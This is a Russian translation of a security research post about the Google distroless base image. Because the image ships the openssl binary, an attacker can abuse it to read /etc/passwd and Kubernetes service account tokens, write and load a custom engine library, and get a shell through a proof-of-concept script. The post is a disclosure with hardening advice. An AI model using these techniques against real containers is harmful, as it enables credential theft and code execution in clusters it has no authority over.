Использование Distroless-образов

Использование Distroless-образов

by moiseevrus

Поверхность атаки

Образы Distroless содержат только приложение и его зависимости во время выполнения. Они не содержат менеджеров пакетов, оболочек или любых других программ, которые вы ожидаете найти в стандартном дистрибутиве Linux. Образы без дистрибутива без второстепенных исполняемых файлов и библиотек часто рекомендуются из-за их производительности, размера и безопасности из-за уменьшения поверхности атаки. Однако, как мы увидим, не все дистрибутивные образы построены одинаково.

URL-адреса продуктов

  • gcr.io/distroless/base
  • https://github.com/GoogleContainerTools/distroless
  • https://github.com/GoogleContainerTools/distroless/tree/main/base

Базовый образ Distroless (gcr.io/distroless/base) содержит пакет OpenSSL, устанавливаемый с помощью следующего скрипта bazel  https://github.com/GoogleContainerTools/distroless/blob/main/base/base.bzl .

Пакет OpenSSL устанавливает два исполняемых двоичных файла  c_rehash  и  openssl  в  каталог /usr/bin/  .

Злоупотребление функциями OpenSSL

Чтобы продемонстрировать уязвимости, мы будем использовать док-контейнер, на котором запущено простое приложение Golang на базовом образе без дистрибутива.

main.go

package main

import (
	"fmt"
	"time"
)

func main() {
	for {
		fmt.Println("Hello world!")
		time.Sleep(time.Second * 1)
	}
}

Докерфайл

Сборка образа докера.

Запуск контейнера и проверка того, что приложение работает должным образом.

И, как и ожидалось, в контейнере нет оболочки.

Но OpenSSL предоставляет и интерактивную командную строку, которой можно злоупотреблять.

Доступные команды OpenSSL.

OpenSSL> help 
Standard commands
asn1parse         ca                ciphers           cms               
crl               crl2pkcs7         dgst              dhparam           
dsa               dsaparam          ec                ecparam           
enc               engine            errstr            gendsa            
genpkey           genrsa            help              list              
nseq              ocsp              passwd            pkcs12            
pkcs7             pkcs8             pkey              pkeyparam         
pkeyutl           prime             rand              rehash            
req               rsa               rsautl            s_client          
s_server          s_time            sess_id           smime             
speed             spkac             srp               storeutl          
ts                verify            version           x509              

Message Digest commands (see the `dgst' command for more details)
blake2b512        blake2s256        gost              md4               
md5               rmd160            sha1              sha224            
sha256            sha3-224          sha3-256          sha3-384          
sha3-512          sha384            sha512            sha512-224        
sha512-256        shake128          shake256          sm3               

Cipher commands (see the `enc' command for more details)
aes-128-cbc       aes-128-ecb       aes-192-cbc       aes-192-ecb       
aes-256-cbc       aes-256-ecb       aria-128-cbc      aria-128-cfb      
aria-128-cfb1     aria-128-cfb8     aria-128-ctr      aria-128-ecb      
aria-128-ofb      aria-192-cbc      aria-192-cfb      aria-192-cfb1     
aria-192-cfb8     aria-192-ctr      aria-192-ecb      aria-192-ofb      
aria-256-cbc      aria-256-cfb      aria-256-cfb1     aria-256-cfb8     
aria-256-ctr      aria-256-ecb      aria-256-ofb      base64            
bf                bf-cbc            bf-cfb            bf-ecb            
bf-ofb            camellia-128-cbc  camellia-128-ecb  camellia-192-cbc  
camellia-192-ecb  camellia-256-cbc  camellia-256-ecb  cast              
cast-cbc          cast5-cbc         cast5-cfb         cast5-ecb         
cast5-ofb         des               des-cbc           des-cfb           
des-ecb           des-ede           des-ede-cbc       des-ede-cfb       
des-ede-ofb       des-ede3          des-ede3-cbc      des-ede3-cfb      
des-ede3-ofb      des-ofb           des3              desx              
rc2               rc2-40-cbc        rc2-64-cbc        rc2-cbc           
rc2-cfb           rc2-ecb           rc2-ofb           rc4               
rc4-40            seed              seed-cbc          seed-cfb          
seed-ecb          seed-ofb          sm4-cbc           sm4-cfb           
sm4-ctr           sm4-ecb           sm4-ofb           

Детали эксплуатации

1. Чтение произвольных файлов без  проблем с kubectl cp  !

Злоупотребление функциональностью OpenSSL  enc  позволяет нам читать файлы внутри файловой системы контейнера.

% docker exec -it demo /usr/bin/openssl
OpenSSL> enc -in /etc/passwd
root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin
OpenSSL>

2. Написание и выполнение пользовательских «вредоносных» двоичных файлов

Злоупотребление функциональными возможностями OpenSSL  enc  и  движка  позволяет нам писать и выполнять пользовательскую библиотеку с нашим «вредоносным» кодом.

Настраивать

Исходный код пользовательской библиотеки.

#include <openssl/engine.h>
#include <sys/utsname.h>

static int bind(ENGINE *e, const char *id) {

  struct utsname buf;
  uname(&buf);

  printf("Hostname: %s" ,buf.nodename);

  return 1;
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()

Компиляция библиотеки с помощью gcc .

sudo apt install openssl-devel -y
gcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o

Base64 кодирует библиотеку.

base64 ./hostname.so
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO
[...snip...]

Запись полезной нагрузки

Написание библиотеки в кодировке base64 с использованием функциональности OpenSSL  enc  .

% docker exec -it demo /usr/bin/openssl                       
OpenSSL> enc -d -a -out /tmp/hostname.so
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO
[...snip...]
AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
OpenSSL>

Выполнение полезной нагрузки

Выполнение пользовательской библиотеки с использованием  функций движка OpenSSL  и печать имени хоста контейнера.

% docker exec -it demo /usr/bin/openssl engine /tmp/hostname.so
Hostname: d68dc92b5c99(/tmp/hostname.so) <NULL>

Сценарии атаки

  • При атаке с внедрением команд, когда приложение, работающее на базовом образе без дистрибутива, выполняет небезопасные данные, предоставленные пользователем, злоумышленник может использовать OpenSSL для выполнения действий, которые в противном случае были бы невозможны, таких как чтение файлов или установка пользовательских инструментов атаки.
  • В сценарии, когда злоумышленник получил доступ к кластеру Kubernetes, он может злоупотреблять OpenSSL, установленным на базовом образе без дистрибутива, для чтения токенов служебной учетной записи, секретов, введенных или смонтированных в файловой системе, и даже получить интерактивное выполнение команды, загрузив пользовательскую оболочку.

Чтение токена сервисной учетной записи Kubernets с помощью OpenSSL.

% kubectl exec -it distroless -- /usr/bin/openssl enc -in /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6ImRpTVR5QnNxcXhLUjNzYUFSYW14TGdoZHZLNkJ6aTVD
[...snip...]

Получение интерактивного выполнения команд путем загрузки пользовательской оболочки.

python3 poc.py
[*] Uploading the shell
[*] Uploading the payload
[*] Executing the payload
[*] Getting a shell
# set
GOTRACEBACK='single'
HOME='/root'
HOSTNAME='distroless'
IFS=' 
'
KUBERNETES_PORT='tcp://10.43.0.1:443'
KUBERNETES_PORT_443_TCP='tcp://10.43.0.1:443'
KUBERNETES_PORT_443_TCP_ADDR='10.43.0.1'
KUBERNETES_PORT_443_TCP_PORT='443'
KUBERNETES_PORT_443_TCP_PROTO='tcp'
KUBERNETES_SERVICE_HOST='10.43.0.1'
KUBERNETES_SERVICE_PORT='443'
KUBERNETES_SERVICE_PORT_HTTPS='443'
LINENO=''
OPTIND='1'
PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
PPID='0'
PS1='# '
PS2='> '
PS4='+ '
PWD='/'
SSL_CERT_FILE='/etc/ssl/certs/ca-certificates.crt'
TERM='xterm'
# 

Вывод

Не все образы Distroless (статические, базовые, ... ) созданы одинаковыми, и это следует учитывать при выборе базового образа для важных проектов. Об этой проблеме сообщили в Google в августе 2021 года, и Google решила не исправлять ее.

Статья является переводом сайта www.form3.tech

Leave a Comment